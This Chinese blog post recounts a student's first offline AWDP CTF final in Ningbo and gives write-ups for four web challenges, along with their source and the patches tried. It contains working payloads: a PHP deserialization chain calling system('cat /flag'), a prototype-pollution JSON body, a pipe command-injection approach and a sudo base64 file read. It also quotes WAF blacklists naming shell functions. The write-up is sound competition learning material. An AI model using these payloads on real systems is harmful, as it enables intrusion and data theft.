记2025宁波网络安全大赛决赛
记2025宁波市网络安全大赛决赛
纪念自己第一次参加线下赛,还是AWDP。。
前一天还在计划通后一天就打脸了哈哈,最后产出不是很好还是靠队友带了
感谢pabgbai学长和文化木的带飞😇
day0
大热天和huanghunr师傅早上做高铁赶到宁波,尼姆的14点的宁波真是要人命的热啊,好在没有中暑
酒店的位置有点刁钻,对着地图找半天没找到以为被缺德地图坑了
找到指示牌结果不小心做错楼层了(然后我还不知道)
兜兜转转总算拿到房卡铸币
晚上由于其他两个师傅(metavii和kong)来的晚了点,本来说好和老登一起去赤寿喜烧,结果去晚了他们吃完了
号还没到下去溜了一圈都没有发现号过了,前面要等100多桌
含泪走进神必火锅店爆了米
貌似有驻唱,但是没心情去欣赏了说是
回去的时候没仔细看群三个代币买了票结果工作人员给了一张免费体验地铁的券
嗯?坏了,变成小丑了 🤡
day1
紧张刺激的AWD
3h break+2h fix
赛题会放在下面的(你先别急)
11:30之前零产出血压直升,感觉都卡在了某个关键的地方,但是好在肾上腺素发力了出了两道还有一道3解一道0解题卡到最后半小时我直接去fix了
fix第一轮感觉没什么问题,waf拉满结果第一轮check一个没过
血压又高了。。
我以为是漏洞点没修全不给过,就把那几个整数溢出修掉了结果第二轮还是没过就过了一个上waf(听huanghunr师傅说这道题他们一样的修第一轮没过第二轮过了,就加了最重要的管道符)
中间还有小插曲:平台崩掉了
虽然对fix影响不是特别大但是还是给大家乐得不行
最后只有一个fix遗憾退场,一个php反序列化挂满waf不知道为什么没过啊,还有一个原型链服务器显示被waf了还是没check过也是没话好说i
晚上和一堆老登出去恰饭,哎我 这牛排不赖😋
又去逛了一下谷子店,看到了挺多ip但是没看到爱马仕啊…又遗憾离场了
最大的惊喜可能还是只看到海报没看到周边的点兔,绷
当然其实也收获了很多吧,会进攻不一定会防守,还有发现自己的代码审计跟上来了但是自己搓一些片段/脚本还是和史一样之类的。。
其他图片没怎么拍,没啥心情(因为第二天就要返校了,又要上垃圾没营养的水课了懒得喷),而且成果也一般,更没心情了,回来的路上一直在想接下来该怎么整才能提升自己的效率。但是又不能太过于急切到时候根基不稳,离一个能够上桌的weber,怕还是有好一段路要走。
WP
easyUpload
普通上传一张没回显上传路径,F12看一眼
发现了show.php?file=
明显的任意文件读
当时不知道怎么了脑抽了没去读源码
读到index.php
break
public $bone;
public $meat;
public $beef;
public $candy;
public function __invoke() {
if ((md5($this->meat) == md5($this->beef)) && ($this->meat != $this->beef)) {
return $this->candy->flag;
}
}
public function __toString() {
$function = $this->bone;
return $function();
}
}
CLass mouse {
public $rice;
public function __get($key) {
@eval($this->rice);
}
}
class Cat {
public $fish;
public function __construct() {
}
public function __destruct() {
echo $this->fish;
}
}
// 处理文件上传
$message = '';
$success = false;
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_FILES['uploaded_file'])) {
$uploadDir = __DIR__ . '/uploads/';
$uploadedFile = $uploadDir . basename($_FILES['uploaded_file']['name']);
if (move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $uploadedFile)) {
$message = '上传成功!';
$success = true;
$fileContent = file_get_contents($uploadedFile);
@unlink($uploadedFile);
@unserialize($fileContent);
$fileContent = "";
// 设置 session,表示上传成功
$_SESSION['upload_success'] = true;
// 重定向,防止刷新页面时重复提交表单
header("Location: " . $_SERVER['PHP_SELF']);
echo $message;
exit();
}
}
}
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>壁纸上传网站</title>
<style>
body {
background: linear-gradient(135deg, #000000, #ffffff);
font-family: Arial, sans-serif;
color: #333;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
}
.container {
text-align: center;
background: rgba(255, 255, 255, 0.9);
padding: 30px;
border-radius: 10px;
box-shadow: 0 0 15px rgba(0,0,0,0.2);
width: 400px;
}
h1 {
font-size: 24px;
margin-bottom: 20px;
color: #000;
}
.message {
font-size: 18px;
color: green;
margin-bottom: 20px;
}
input[type="file"] {
margin: 20px 0;
font-size: 16px;
}
input[type="submit"] {
background-color: #333;
color: #fff;
border: none;
padding: 10px 20px;
cursor: pointer;
border-radius: 5px;
}
input[type="submit"]:hover {
background-color: #555;
}
.images {
margin-top: 40px;
}
.images-title {
font-size: 20px;
font-weight: bold;
margin-bottom: 20px;
color: #444;
}
.image-item {
display: inline-block;
margin: 0 10px;
}
.image-item img {
width: 150px;
height: 150px;
border-radius: 10px;
border: 2px solid #333;
transition: transform 0.3s;
}
.image-item img:hover {
transform: scale(1.1);
}
.image-item a {
display: block;
margin-top: 10px;
color: #333;
text-decoration: none;
font-weight: bold;
}
.image-item a:hover {
color: #555;
}
</style>
<script>
function showSuccessAlert() {
alert("文件上传成功!");
}
// 页面加载后检查是否上传成功
window.onload = function() {
if (isset($_SESSION['upload_success']) && $_SESSION['upload_success']) :
showSuccessAlert();
// 清除 session 中的上传成功状态
unset($_SESSION['upload_success']);
endif;
}
</script>
</head>
<body>
<div class="container">
<h1>壁纸上传网站</h1>
<?php if (!empty($message)) : ?>
<div class="message"><?php echo $message; ?></div>
<?php endif; ?>
<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="uploaded_file" required>
<br>
<input type="submit" value="上传">
</form>
<div class="images">
<div class="images-title">精美壁纸如下:</div>
<!-- 图片 1 -->
<div class="image-item">
<img src="./img/1.png" alt="壁纸1">
<a href="/show.php?file=img/1.png" target="_blank">壁纸1</a>
</div>
<!-- 图片 2 -->
<div class="image-item">
<img src="./img/2.png" alt="壁纸2">
<a href="/show.php?file=img/2.png" target="_blank">壁纸2</a>
</div>
</div>
</div>
</body>
</html>
Class Dog {
经典php反序列化,也不难
public $bone;
public $meat=240610708;
public $beef="QNKCDZO";
public $candy;
}
CLass mouse {
public $rice;
}
class Cat {
public $fish;
}
$a=new Cat();
$a->fish = new Dog();
$a->fish->bone = new Dog();
$a->fish->bone->candy = new mouse();
$a->fish->bone->candy->rice = "system('cat /flag');";
echo serialize($a);
Class Dog {
当成图片的内容提交就可以
还有一个show.php,忘记保存了,用file_get_contents来处理传入的file参数貌似,回头一想其实那边是可以打filter链的
这里fix没过就讲一下我的思路希望有师傅可以指出哪里错了(贴全文太麻烦了就把改了的部分给一下)
$fileContent = file_get_contents($uploadedFile);
//fix
if (preg_match("/openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|scandir|assert|pcntl_exec|fwrite|curl|system|eval|assert|flag|passthru|exec|chroot|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore|\?|\*|O|:/i", $fileContent)) {
die('no!');
}
//fix
@unlink($uploadedFile);
public function __invoke() {
if ((md5($this->meat) === md5($this->beef)) && ($this->meat != $this->beef)) {
return $this->candy->flag;
}
}
image2base64
break
import os
import re
import subprocess
from flask import Flask, request, render_template, jsonify
app = Flask(__name__)
UPLOAD_FOLDER = 'uploads/'
if not os.path.exists(UPLOAD_FOLDER):
os.makedirs(UPLOAD_FOLDER)
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
def checkname(filename):
ILLEGAL_CHARACTERS = r"[*=&\"%;<>iashto!@()\{\}\[\]_^`\'~\\#]"
noip = re.compile(r"\d+\.\d+")
if re.search(ILLEGAL_CHARACTERS, filename):
return False
if ".." in filename :
return False
if(noip.findall(filename)):
return False
def upload_form():
return render_template('upload.html')
def upload_file():
if 'file' not in request.files:
return jsonify({"error": "No file part in the request"}), 400
file = request.files['file']
if file.filename == '':
return jsonify({"error": "No file selected"}), 400
if(checkname(file.filename)==False):
return jsonify({"error": "Not hacking!"}), 500
if file:
file_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
file.save(file_path)
result = subprocess.run(f"cat {file_path} | base64", shell=True, capture_output=True, text=True)
encoded_string = result.stdout.strip()
return jsonify({
"filename": file.filename,
"base64": encoded_string
})
if __name__ == '__main__':
app.run(host='0.0.0.0',port=5000)
看到subprocess和填充file_path马上心领神会,直接管道符(因为这里;被ban掉了)
后面看这个waf有点麻烦,就没去继续做
后面给了hint:
什么几把看不懂了。。遂不做,后面看了下别人的wp发现这里是要上传一个写了反弹shell命令的文件
再同样的上传,并给filename动手脚用管道符执行shell($0)
这里可以去看ctfshow的极限命令执行,好东西,后悔当初没去学。
后面是sudo免密,其实就是sudo提权读flag
sudo -l
然后发现base64是免密执行bash的
sudo base64 "/f1111llaaa444Aaag9gggg" |base64 -- decode
fix
fix的时候huanghunr师傅说就加了|
,我是把它整个checkname函数给重新写了,感觉很难评的一道题
感觉其实原来基础上加一个|
就能过,第一次不知道为什么没过,这边fix就不写了,不难写
Easy_shop
break
进去是一个商店购买页面,一眼盯帧就是去刷负数量
美滋滋吃到1500,就可以买到flag。了吗?
并非,后面给了个路由让我们去读flag
/showflag
进去还是任意文件读,不给读flag
读一下源码
const express = require('express');
const app = express();
const fs = require('fs');
const port = 3000;
const bodyParser = require('body-parser');
app.set('view engine', 'ejs');
app.use(express.static('public'));
app.use(bodyParser.urlencoded({ extended: true }));
let money = 1000;
const initialMoney = 1000;
let message = '';
const products = [
{ name: '帽子', price: 10 },
{ name: '棒球', price: 15 },
{ name: 'iphone', price: 150 },
{ name: 'flag', price: 1500 },
];
app.get('/showflag', (req, res) => {
res.render('readfile');
});
app.post('/readfile', (req, res) => {
const fileName = req.body.fileName;
if (fileName.includes("fl")) {
return res.status(200).send('你还真读flag啊');
}
// 读取文件内容
fs.readFile("/app/public/"+fileName, 'utf8', (err, data) => {
if (err) {
res.status(500).send('Error reading the file');
} else {
res.send(data);
}
});
});
app.get('/', (req, res) => {
res.render('index', { products, money, message });
});
app.get('/buy/:productIndex', (req, res) => {
const productIndex = req.params.productIndex;
let quantity = req.query.quantity || 1; // 获取购买数量,默认为1
if (productIndex === '3') {
quantity = Math.abs(quantity); // 取绝对值
if (products[productIndex] && money >= products[productIndex].price * quantity) {
money -= products[productIndex].price * quantity;
message = `购买flag成功啦!给你/showflag这个路由,听说那里面有flag`;
res.render('index', { products, money, message, showAlert: true });
} else {
message = 'flag很贵的';
res.redirect('/');
}
}else{
if (products[productIndex] && money >= products[productIndex].price * quantity) {
money -= products[productIndex].price * quantity;
message = `成功购买了 ${quantity} 件 "${products[productIndex].name}"!`;
// 使用 JavaScript 弹窗来显示购买成功消息
res.render('index', { products, money, message, showAlert: true });
} else {
message = '购买失败,钱不够啊老铁.';
res.redirect('/');
}
}
});
function copy(object1, object2) {
if (typeof object1 !== 'object' || object1 === null ||
typeof object2 !== 'object' || object2 === null) {
return;
}
for (let key in object2) {
if (
typeof object2[key] === 'object' &&
object2[key] !== null &&
typeof object1[key] === 'object' &&
object1[key] !== null
) {
copy(object1[key], object2[key]); // ✅ 安全递归
} else {
object1[key] = object2[key]; // ✅ 直接赋值
}
}
}
app.post('/getflag', require('body-parser').json(), function (req, res, next) {
res.type('html');
const flagFilePath = '/flag';
let flag = '';
fs.readFile(flagFilePath, 'utf8', (err, data) => {
if (err) {
console.error(`无法读取文件: ${flagFilePath}`);
} else {
flag = data; // 将文件内容赋值给flag变量
var secert = {};
var sess = req.session;
let user = {};
copy(user, req.body);
if (secert.testattack === 'admin') {
res.end(flag);
} else {
return res.send("no,no,no!");
}
}
});
});
app.get('/reset', (req, res) => {
money = initialMoney;
message = '';
res.redirect('/');
});
app.listen(port, () => {
console.log(`Server is running on http://localhost:${port}`);
});
吼吼,原来前面的都没啥用,最主要的在这一块
function copy(object1, object2) {
if (typeof object1 !== 'object' || object1 === null ||
typeof object2 !== 'object' || object2 === null) {
return;
}
for (let key in object2) {
if (
typeof object2[key] === 'object' &&
object2[key] !== null &&
typeof object1[key] === 'object' &&
object1[key] !== null
) {
copy(object1[key], object2[key]); // ✅ 安全递归
} else {
object1[key] = object2[key]; // ✅ 直接赋值
}
}
}
app.post('/getflag', require('body-parser').json(), function (req, res, next) {
res.type('html');
const flagFilePath = '/flag';
let flag = '';
fs.readFile(flagFilePath, 'utf8', (err, data) => {
if (err) {
console.error(`无法读取文件: ${flagFilePath}`);
} else {
flag = data; // 将文件内容赋值给flag变量
var secert = {};
var sess = req.session;
let user = {};
copy(user, req.body);
if (secert.testattack === 'admin') {
res.end(flag);
} else {
return res.send("no,no,no!");
}
}
});
});
看到迭代就知道是原型链污染了
{
"__proto__": {
"testattack": "admin"
}
}
这题没fix出来
function copy(object1, object2) {
if (typeof object1 !== 'object' || object1 === null ||
typeof object2 !== 'object' || object2 === null) {
return;
}
for (let key in object2) {
if (
typeof object2[key] === 'object' &&
object2[key] !== null &&
typeof object1[key] === 'object' &&
object1[key] !== null
) {
copy(object1[key], object2[key]); // ✅ 安全递归
} else {
//fix
if (key.includes("admin")){
throw Error("no")
}//fix
else{
object1[key] = object2[key];
}
}
}
}
app.post('/getflag', require('body-parser').json(), function (req, res, next) {
res.type('html');
const flagFilePath = '/flag';
let flag = '';
fs.readFile(flagFilePath, 'utf8', (err, data) => {
if (err) {
console.error(`无法读取文件: ${flagFilePath}`);
} else {
flag = data; // 将文件内容赋值给flag变量
//fix
var secert = {"testattack":"user"};
//fix
var sess = req.session;
let user = {};
copy(user, req.body);
if (secert.testattack === 'admin') {
res.end(flag);
} else {
return res.send("no,no,no!");
}
}
});
});
还修了一个整数溢出防止钱反而增加
结果等平台攻击完的日志里都能看到Exception:no还没fix也是闹麻了
这里贴一下其他师傅的fix吧
app.post('/readfile', (req, res) => {
const fileName = req.body.fileName;
if (fileName.includes("fl")) {
return res.status(200).send('你还真读flag啊');
}
// 阻止读取源码
if (fileName.includes("ap")) {
return res.status(200).send('你还真读app.js啊');
}
// 读取文件内容
fs.readFile("/app/public/"+fileName, 'utf8', (err, data) => {
if (err) {
res.status(500).send('Error reading the file');
} else {
res.send(data);
}
});
});
app.get('/buy/:productIndex', (req, res) => {
const productIndex = req.params.productIndex;
let quantity = req.query.quantity || 1; // 获取购买数量,默认为1
if (productIndex === '3') {
quantity = Math.abs(quantity); // 取绝对值
if (products[productIndex] && money >= products[productIndex].price * quantity) {
money -= products[productIndex].price * quantity;
message = `购买flag成功啦!给你/showflag这个路由,听说那里面有flag`;
res.render('index', { products, money, message, showAlert: true });
} else {
message = 'flag很贵的';
res.redirect('/');
}
}else{
// 模仿上面对数量做绝对值,防止购买负数增加金钱
quantity = Math.abs(quantity); // 取绝对值
if (products[productIndex] && money >= products[productIndex].price * quantity) {
money -= products[productIndex].price * quantity;
message = `成功购买了 ${quantity} 件 "${products[productIndex].name}"!`;
// 使用 JavaScript 弹窗来显示购买成功消息
res.render('index', { products, money, message, showAlert: true });
} else {
message = '购买失败,钱不够啊老铁.';
res.redirect('/');
}
}
});
function copy(object1, object2) {
if (typeof object1 !== 'object' || object1 === null ||
typeof object2 !== 'object' || object2 === null) {
return;
}
for (let key in object2) {
// 过滤原型链污染常用字符串
if (key === 'outputFunctionName' || key === '__proto__' || key === 'constructor' || key === 'prototype' || key === 'return' || key === 'global' || key === 'process' || key === 'mainModule' || key === 'constructor' || key === 'child' || key === 'execSync' || key === 'escapeFunction' || key === 'client' || key === 'compileDebug') {
continue;
}
if (
typeof object2[key] === 'object' &&
object2[key] !== null &&
typeof object1[key] === 'object' &&
object1[key] !== null
) {
copy(object1[key], object2[key]); // ✅ 安全递归
} else {
object1[key] = object2[key]; // ✅ 直接赋值
}
}
}
其实感觉把原型链防掉就可以,因为毕竟关键点是在最后的,只是不知道它这个check过的判定到底是什么,实在没懂
genshop
这道是0解题嘻嘻,端口都连不上SSRF拿头做,一直timed out ,不知道是不是我的问题。
hint貌似 是5000端口SSRF+SSTI,中间还有一个hint忘记了
直接贴源码吧
#/app/app.py
from flask import Flask, request, send_file
import socket
app = Flask("webserver")
def index():
return send_file(__file__)
def nc():
try:
dstport = int(request.form['port'])
data = request.form['data']
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1)
s.connect(('127.0.0.1', dstport))
s.send(data.encode())
recvdata = b''
while True:
chunk = s.recv(2048)
if not chunk.strip():
break
else:
recvdata += chunk
continue
return recvdata
except Exception as e:
return str(e)
app.run(host="0.0.0.0", port=8080, threaded=True)
#/app/backend/app.py
import binascii
import os
import random
from flask import Flask, request, render_template_string, session
import numpy as np
from flask_limiter import Limiter
import uuid
def get_user() -> str:
if 'user_id' not in session:
session['user_id'] = uuid.uuid4()
return session['user_id']
app = Flask(__name__)
app.config['SECRET_KEY'] = binascii.hexlify(os.urandom(24)).decode('utf-8')
limiter = Limiter(app=app, key_func=get_user, default_limits=['5/minute'])
letters = ['A', 'B', 'C', 'D', 'E', 'F', 'G']
def handle_exception(e):
return render_template_string('<h1>How about we access this page later?</h1>')
def index():
return "Welcome to the genshop"
def waf(s):
blacklist1 = ['args', 'os', 'request', 'system', 'eval', 'exec', '*', '_', '[', ']', '\'', '"', 'class', '\\'
'globals', 'builtin', 'base', 'sub', '?',
'{{', '}}', '.','attr','value','read','popen','flag','/','cat','base']
if any(c in s for c in blacklist1):
raise ValueError('What are you f* doing, guys?')
blacklist2 = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist2]) + s
def stimulate():
initial_5_star_rate = 0.6 / 100
total_draws = 0
start_increasing_at = 74
end_increasing_at = 91
current_5_star_rate = initial_5_star_rate
while True:
total_draws += 1
if total_draws >= start_increasing_at and total_draws < end_increasing_at:
current_5_star_rate += 0.06
if random.random() < current_5_star_rate:
break
return total_draws
def reset():
session['money'] = 0
session['user_id'] = uuid.uuid4()
limiter.reset()
return "success"
def get_money():
int_money = 0
if 'money' in request.args:
if int(request.args.get('money')) < 80:
int_money = int(request.args.get('money'))
else:
return "You are so greedy!"
session['money'] = (int_money + session['money']) if 'money' in session.keys() else int_money
return f"friend give you {int_money} money"
def query_money():
if 'money' in session.keys():
return str(session.get('money'))
else:
return '0'
def get_chest():
if 'money' in session:
int_money = int(session.get('money'))
else:
int_money = 0
money = int_money
num = random.randint(0, 101)
if num < 20:
money += 1
chest_type = "common"
elif 20 <= num < 60:
money += 2
chest_type = "exquisite"
elif 60 <= num < 77:
money += 3
chest_type = "precious"
elif 77 <= num < 99:
money += 4
chest_type = "remarkable"
else:
money += 5
chest_type = "shrine"
session['money'] = money
return f"Congratulations! You found a {chest_type} chest"
def get_letter():
letter = request.form.get("letter")
if letter is None:
return "Please choose a letter"
try:
money = int(session.get('money')) or 0
except Exception as e:
money = 0
money = np.array(money)
money -= stimulate() * 5000
try:
if money < 0:
result = "You don't have enough money"
else:
session['money'] = 0
letter = waf(letter)
result = "You are not allowed to use this letter"
if letter not in letters:
result = f"The {letter} is not in the genshop"
else:
result = f"Congratulations! You get the letter: {letter}"
except Exception as e:
result = str(e)
return render_template_string(f"<h3>{result}</h3>")
if __name__ == '__main__':
app.run()
break
虽说0解
但是可以现在回来再看看呢
先看一下waf在干什么
def waf(s):
blacklist1 = ['args', 'os', 'request', 'system', 'eval', 'exec', '*', '_', '[', ']', '\'', '"', 'class', '\\'
'globals', 'builtin', 'base', 'sub', '?',
'{{', '}}', '.','attr','value','read','popen','flag','/','cat','base']
if any(c in s for c in blacklist1):
raise ValueError('What are you f* doing, guys?')
blacklist2 = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist2]) + s
上了两层waf,第一层就是简单的检测,第二层是在字符串前面拼接{% set config=None %}{% set self=None %}
把config和self给覆盖掉了
主要的代码是在/genshop的路由下
来看一下路由逻辑
1.每次提交letter的都要消耗一定的money
2.每次提交的letter会经过waf接着被渲染到页面上(实际就是SSTI)
stimulate() * 5000
这里的stimulate函数经过测试,会产生100以内的数
其中88以上的数字频率就很低了,但是这个数字还是很大说实话
然后就卡住了。
fix
fix看别人的反而挺简单的
# return render_template_string(f"<h3>{result}</h3>")
return f"<h3>{result}</h3>"
我是上了一堆waf结果还是没拦住,也不知道啥问题,想过把动态渲染换成静态但是发现render_template_string
的我写不来嘻嘻()
只会render和render_template,当时比赛的时候时间来不及了本地也没测过,属于因小失大了